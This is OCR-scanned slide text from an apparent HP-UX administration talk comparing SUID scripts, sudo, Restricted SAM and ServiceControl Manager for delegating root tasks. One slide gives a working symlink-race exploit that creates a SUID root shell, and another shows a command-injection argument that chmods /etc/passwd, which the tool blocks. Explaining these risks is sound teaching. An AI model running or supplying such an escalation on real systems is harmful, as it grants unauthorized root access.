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Why the need?

24X (X365
Vacations, Training, Sick leave

Routine tasks
— Backups, User/Password M anagement

Delegate
No user hierarchy (Like Operator on MPE)



Options

Give non-System Admins the root password
Create SUID/SGID scripts

“sudo
Restricted SAM
ServiceControl Manager
ALL ARE FREE!!



SUID/SGID Script/Program

 What isit?
e Filewith certain permissions:
e -I-sr-xr-x 1 root bin /sbin/passwd

NN

Execute as this user



UNIX-101 Review

Executing Script IS 2 part process

— 1). Instance of the shell isloaded

— 2). Script is loaded into that shell

1S 1887 1886 0 pts/12 —sh

1R 01909 1887 2 - pts/t2 shell script

UID 4004 (jrice) runs shell _script. The
effective UID i1s O (root)



Goal: Manipulate

Step 2: Load the script

Vulnerability between Step 1 and 2

Create script “dirty deed’

Create a symbolic link to the actual SUID

script (shell _script)

In —s /opt/ctg/bin/shell_script templink

until [ -f rootshell ]
do
rm templink ; In—s
/opt/ctg/bin/shell _script templink
(nice—19) ./templink &) ; rm ./templink ;
In —s dirty.sh templink
Sleep2
done

dirty.sh:

ID="whoami"

if [ “${ID}” =“root” ] ; then
echo “*** SUCCESS***”
cp /usr/bin/sh rootshel
chown root:sys rootshell
chmod 4555 rootshell

fi




It using SUID/SGID Scripts or
Programs

* Follow recommended guidelines

e Assign ACLsor group accessto limit which
non-root users have access

* http://www.sansstore.org/

ID No. NSO00-Sun-2-7
Title How Attackers Break Programs and How to Write Secure Programs
Author Bishop
Price $75.00
Intrusions exploit vulnerabilities, and the vast mgjority of those vulnerabilities are the result of programming errors.
Security professionals and developers who know the difference between safe and unsafe code can be key playersin
two critical endeavors-writing software that doesn’t create new vulnerabilities and evaluating code to determine
whether it is vulnerable. The goal of this course isto enable the attendee to write a secure setuid or setgid program
in C, and to know when it is (and is not) appropriate to write such a program.



Restricted SAM

Does SAM give you the urge to purge?

WAIT! Restricted SAM Isgreat for users
who need specific root capabilities

GUI or Character mode
Supported by HP



Restricted SAM Builder

sam -r
Includes all SAM areas

— Disabled, Enabled or Partial
Save Privileges

Select user(s)
[etc/sam/custom/” user” .cf

Auditing & Security
Backup & Recovery
Cluster Management
Disks & File Systems
Display

Kernel Configuration

Networking &
Communications

Performance Monitors
Peripheral Devices
Printers and Plotters
Process Management
Routine Tasks
Software Management

Time




Testing & Using Restricted SAM

e sam -f login
—sam -f jrice

o User only sees areas that are enabled for
that user

e SAM isnotintheuser’'s PATH variable:

— Add /usr/sbin to the user' s PATH
— Create an dlias called sam that executes /usr/shin/sam
— Have the user execute the full pathname (/usrs/bin/sam)




Design of Restricted SAM

Cannot add user with UID O

Cannot change the password of a user with the UID of O
Cannot remove a user with the UID of O

Cannot deactivate a user with the UID of O

Can change the home directory of auser with UID O
Can create a new home directory for a user with UID O

Can change the login shell or startup program for a user
with UID O



Added Benefit

« Auditing
 /var/sam/log/samlog
o Userrice (UID:4004) added user: bshaver

@' @1@958083415@4004
Adding user bshaver




Added Benefit

o Templates
— Create templates that specify which tasks are to
be enabled

e User management

» Backup/Restore

» Add/Increase Logical Volumes & File Systems
e Install Patches

* Onetemplate can be assigned to a user



* Create a custom area/group
 Create a custom application

Customize SAM

— Execute using: “user”

Source

Custonm
Custom
Custom
Custom

Aresa

Mount cdrom

Reboot

Shutdown for PowerOff
Unmount cdrom

Auditing & Security
Backup & Recovery
Cluster Management
Disks & File Systems
Display

Kernel Configuration
Networking & Communications
Performance Monitors
Peripheral Devices
Printers and Plotters
Process Management
Routine Tasks
Software Management

Time




SAM Templates (predefined
fields)

o Ease administration
» Create consistency
* Increase security



Bccowntes for Users and bFoops (Clgl00 T (1)
Create User Template (cigrD0)

Complete the template title and description, and et leest the first of thae
five steps shown below, Then press "0K™ or “Apply” to create the teaplete.

Templote Title: Corporote Users

Template Description: Corporate_lUsers
focount Attributes., Lonf i gured
| Set Posseord Formot Policies. .. [Dptional )
[ Sat Password Aging Paolicies. .. [(Dptional )
[ Set General Account Policies. .. (Dptional )

[ Sat Authorized Login Times. .. (Dptional )

| Appl | Concel |

accounts for Users roups Letg7 000
Create Usar Template (ctoglonl

Lomplate the tenplate title and deacription. and &t |east the first of the
ficcount Attributes (ctgFOD)

Put Home Directory In:  Shone l¥] Creste Home Directory
Stert-Up Program, .. ] fusr/bindah

Primary Group Mane. .. 1 users Primary Group 1D: 20
lser ID Generation: I First Awailmble Hithin Aange -]
Froms: Z000 To: 4000

Accovnt Should Initially Be: [ fctiveted »]

[ Comment Specificetion... ] (Dplionall

[ Camcel ]




! !
IT# you choosa more than one of the following options. the wserl
lwill choose the option hefshe prefers ot login time. |
| |
I15ysten Generates Pronouncesble: [ Defawlt (YESD -21] |
| Systen Generntes Choracter: [ Defoult (HO] -3] |
I System Generates Letters Only: [ Ho *] |
| lser Specifies: [ Default [(YES) -»] |
et i

The following attributes spply to vser-apecified pasowords,

Ensble Restricltion Aules: [ Yes -3
il low Hull Password: [ Defawlt (WD) »]

The folloming attribete applies to systes-generoted passeords.

Haxinun Passeord Length: |l Defeauwlt [(A) -3]

I ] [ Cancel | [ el 1
Password Aging: [ Enabled ->]
Time Between Password Changes (days): 14

Password Expiration Time (days): 180

Password Expiration Harning Time (days): 10

Password Life Time (days): 180

Initial Password Age: [ Expire Immediately ->]

[ OK 1 [ Cancel ] [ Help 1




Set General Account Policies

ficcount Life Time (days): [ Hone (Infinite)

Haximum Period of Inactivity on Account (days):

[ Customize

Unsuccessful Login Tries Allowed: [ Customize

Authorize User to Boot to Single-User S5tate:

[ Cancel 1]
N ——
Set Avthorized Login Times (ctgdOD)
User Login Times: [ Heeskdays Only. Specific Times -3]
el 1
ILogim Tines: |
1Start Tine: N0OF7:00 [ AH -3 Stop Time: DA 00 [ PH -a]1l
'|‘__________________________________________________________________
L OF 1

[ Cancel ]




ficcownls for Users snd Grooups (cig?0l)] (1)

He tist Vies Oplio :::L:I.IETFIL‘H for keyboard help. When the u%r
il Lerimg: Di':cr..lluulllurull_u':cl:'rﬁ runS SAM
)

0 of 29 selecle

I Primary thw u% the

uIol Resl Hame Group

q aidlm
qn11 uBEry
2 bin
4100 usErs
4003 usEry
q005 usBery
[T q013 E. Shauver [TEL g
[iETE TR IR 006 USErS
bwss | Lo qn12 uBEry

hie 103 by

template.
When adding a
new user, the
following
window Is
displayed.

e

A — — — — — ——

fidd a User Account (ctg700)

Login Hame:

Real HName: i w

Office Location: i "

_ _ : [
0ffice Phone: ‘” a( “,
Home Phone: i ll “‘ ﬂ
P, o 4




sudo
superuser do

o Sudoersfile
— /opt/sudo/sbin/visudo to edit
— Who can do what on which system(s).

# Host alias specification
Host_Alias PROD=ctg/00,ctgB00

Host_nAlias DEY=ctg500
# User alias specification

# Cmnd alias specification

Cmnd_dAl ias MOUHT=/sbin/mount. /sbin/umount
Cmnd_#&l ias SHUTDOMN=/sbin/shutdown

# User privilege specification

#root ALL=(ALL) ALL

Jrice PROD=MOUNT

jrice ALL=SHUTDOMN

smokey DEY=HMOUHNT




How the user uses sudo

 Enter sudo followed by the command and options

e Command must be configured in the sudoersfile for that
user and system

% whoami

jrice

%2 /sbin/mount fdev/dsk/cdrom /cdrom
mount: must be root to use mount

%
% foptfsudof/binSsudo fsbin/mount fdev/dsk/cdrom fcdrom
% bdf | grep cdrom

fdev/dsk/cdrom 2457600 2457600 0 100¥ fcdrom




L ogging sudo activity

e Auditing isavallable

/var/adm/syslog/syslog.log
Nov 25 19:26:41 ctg700 sudo:jrice:
TTY=pts/ta; PWD=/home/jrice;
USER=root;
COMMAND=/shin/fumount /cdrom

Nov 25 19:30:38 ctg700 sudo:jrice :
, TTY=pts/ta;

PWD=/home/jrice ; USER=root ;

COMMAND=/shin/passwd root



ServiceControl Manager

Manage Multiple HP-UX servers from one
central location

Role assignments

SCM s awrapper, added functionality is
wrapped around: commands, scripts, file-
copy and applications

HP Supported



SCM Integration

Event Monitoring System
(EMS)

Online JFS

Software Distributor/UX
SAM

Ignite/UX and Recovery

System Configuration
Repository (SCR)
Security Patch Check Tool

e HP-UX Commands

bdf
Is
rm
cat
cp
ps
mv
find
test



Parts of SCM

Central Management Server (CMS)
— Ignite/UX Server

SCM Cluster
— CM S and nodes

Tools

— SSA - Single System Aware

— MSA - Multiple System Aware
Users

Roles



SCM Daamons

Daemon Description

mxdomainmgr Interacts with the SCM repository and con-
tains the management objects associated
with the Distributed Task Facility

mxlogmgr A ccepts requests for log entries and writes
these entries to the central SCM log file
mxrmi Contains the Remote M ethod Invocation

registry that is used for SCM daemons to
communicate with each other

mx dtf The Distributed Task Facility

mxagent Runs tools on behalf of the DTF

CMS Only: mxdomainmgr, mxdtf and
mxlogmgr




Configuration of SCM

Command line or GUI

Create CM S (Install prereqg., kernel,
software, mxsetup)

Install SCM software on nodes from
CMS depot

Add nodesto SCM cluster (mxnode)

Add master role users to nodes
(mxauth)

Test node by executing mxexec

ctg500: mxexec -t bdf -n ctg700

Running tool bdf with task id 1

TakID :1

Tool Name : bdf

Task State : Complete

User Name : jrice

Start Time : Saturday, February 3, 2001 6:43:00 PM MST
End Time : Saturday, February 3, 2001 6:43:01 PM MST
Elapsed Time : 329 milliseconds

Node : ctg700

Status  : Complete

Exit Code :0

STDOUT

Filesystem kbytes used avail %used Mounted on
/dev/vg00/lvol3 143360 66565 72033 48%/
/devivg00/lvoll 111637 35403 65070 35% /stand
/dev/vg00/lvol10 512000 228516 265905 46% /var
/dev/vg00/lvol8 20480 1190 18129 6% /var/spool
/devivg00/lvol7 20480 1114 18163 6% /var/mail
/dev/vg00/lvol6 1699840 738664 901356 45% /usr
/dev/ivg00/lvol5 122880 1392 113957 1% /tmp
/devivgOl/lvol2 512000 365795 137072 73% /sec
/devivg00/lvol4 1269760 1074848 182874 85% /opt
/dev/ivg00/lvol9 20480 1637 17676 8% /home



Users

 Master Role
— Allowed to add and delete SCM users
— Allowed to assign users to roles
— Can create user and assign it to the Master Role
— Can run any tool on any SCM node

e Must exist as HP-UX user
e Can use input batch file



Roles

 DBA, Network Admin, Operator, Jr. Admin

o Default: lvmadmin, operator, webadmin,
dbadmin, Master Role, role6-16

* Customize roles using mxrole command

ctg500: mxrole -mrole6 -N "dba’

ctg500: mxrole -m dba -d "Database Administrators'

ctg500: mxrole -m role7 -N netadmin

ctg500: mxrole -m netadmin -d "Network Administrators"
ctg500: mxrole -m role8 -N jradmin

ctg500: mxrole -m jradmin -d "Junior System Administrators"



Assign usersto roles

e Assign user to role(s) on node(s)
— ¢tg500: mxauth -a-u vking -R netadmin -n ctg700

 Every role hasafilethat containstherole
members (users) and authorized nodes
(/etc/opt/mx/roles” ROLE")

ctg500: more /etc/opt/mx/roles/netadmin
vking:netadmin:ctg700
vking:netadmin:ctg800
bshaver:netadmin:*
brankin:netadmin:ctg700



Tools

Command
Program
Script
File-copy
Customized

Defined in Tool
Definition File (.tdef)

Tool Rules

Any SCM user can create a tool

An SCM user may modify a
tool they own, they can't
modify the owner or role

Only the Trusted User can
authorize tools to be run on
selected nodes by selected users

The SCM admin can modify
any tool, including its owner
and role

Only the SCM admin can delete
tools



Add Tool using Definition File

e CreateaTool File

Definition for the new
tool and add the tool

using mxtool

/I File: nsswitch.tool
Il
SSA tool "nsswitch" {
description "HPUX SAM
nsswitch Configuration”
comment  "Runs SAM asthe
root user to change nsswitch.conf on
specified targets"
execute
{command
" Jusr/sam/lbin/samx -s
kc sa driver
/usr/sam/lib/C/nsswitch.ui"
launch
nolog
user root

}
roles{ netadmin, "Master Role" }

}



Add tool using GUI




Assign Tool to Role

Servicelontrol Manager = HeW Tool




Using SCM

e Command Line
e GUI
e Web Interface->

Fia ‘“aw Optiorefichion Help
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Argument Limitations

e 1). Arguments e Force auser to enter
controlled by the an argument from a
command itself list. (Usethe

e 2). Specia characters startup/shutdown
are not allowed SCripts).

ctg500: mxexec -t mwa-A "start ; chmod 777 /etc/passwd” -n ctg500
Received an error trying to assign parameters argument values.

An argument value contained a prohibited character. Do not
specify any of the following charactersin an argument: ;& |(#>< or
the new line character.



Validation

process ¢ Anauthorization can
e Trusted User? Any be added If using the
tool on any node. startup/shutdown

+ Not Trusted? Canonly ~ SCripttechnique: flag

run tools assigned to on tfhe script o
their role(s) on configuration file

specific (S)



Auditing

START PROGRESSTASK VERBOSE jrice START TASK 1
INTERM PROGRESSTASK DETAIL jrice START TASK 1:ctg700
INTERM SUCCESSTASK DETAIL jriceDONE TASK 1:ctg700
INTERM SUCCESSTASK VERBOSE jrice DONE TASK 1:ctg700
DONE SUCCESSTASK SUMMARY jriceRUN EXEC bdf

INTERM SUCCESS 2/3/016:40:41 PM TASK VERBOSE jrice
DONE TASK 1:.ctg700

Running Tool: bdf

Exit Code: O

Stdout:
Filesystem kbytes used avail %used Mounted on
/dev/vg00/lvol3 143360 66565 72033 48%/
/dev/vgO0/lvoll 111637 35403 65070 35% /stand



SUID/SGID  |sudo Restricted Service
Scripts/Pgms SAM Control
M anager
Supported by [ No No Yes Yes
HP
Cost Y our time Free Free Free
Integrated No No Yes Yes
with HP
Tools
Available Command Command GUI or CUlI |Command
| nterfaces Line Line Line, GUI or
Web
Auditing Y ou write Yes Yes Yes
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